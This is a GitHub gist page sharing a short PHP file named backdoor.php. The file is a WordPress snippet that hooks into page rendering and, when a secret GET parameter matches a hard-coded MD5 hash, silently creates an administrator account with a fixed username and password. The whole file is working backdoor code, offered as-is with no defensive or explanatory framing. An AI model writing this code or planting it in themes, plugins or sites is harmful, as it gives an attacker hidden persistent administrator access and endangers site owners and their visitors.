Skip to content

Instantly share code, notes, and snippets.

@Rotron
Forked from jgalea/backdoor.php
Created January 31, 2019 11:17
Show Gist options
  • Save Rotron/d3dbd2d942eb2eeef825d9e703a37338 to your computer and use it in GitHub Desktop.
Save Rotron/d3dbd2d942eb2eeef825d9e703a37338 to your computer and use it in GitHub Desktop.

Revisions

  1. @jgalea jgalea created this gist Jun 6, 2013.
    13 changes: 13 additions & 0 deletions backdoor.php
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,13 @@
    <?php
    add_action( 'wp_head', 'my_backdoor' );

    function my_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
    require( 'wp-includes/registration.php' );
    if ( !username_exists( 'mr_admin' ) ) {
    $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
    $user = new WP_User( $user_id );
    $user->set_role( 'administrator' );
    }
    }
    }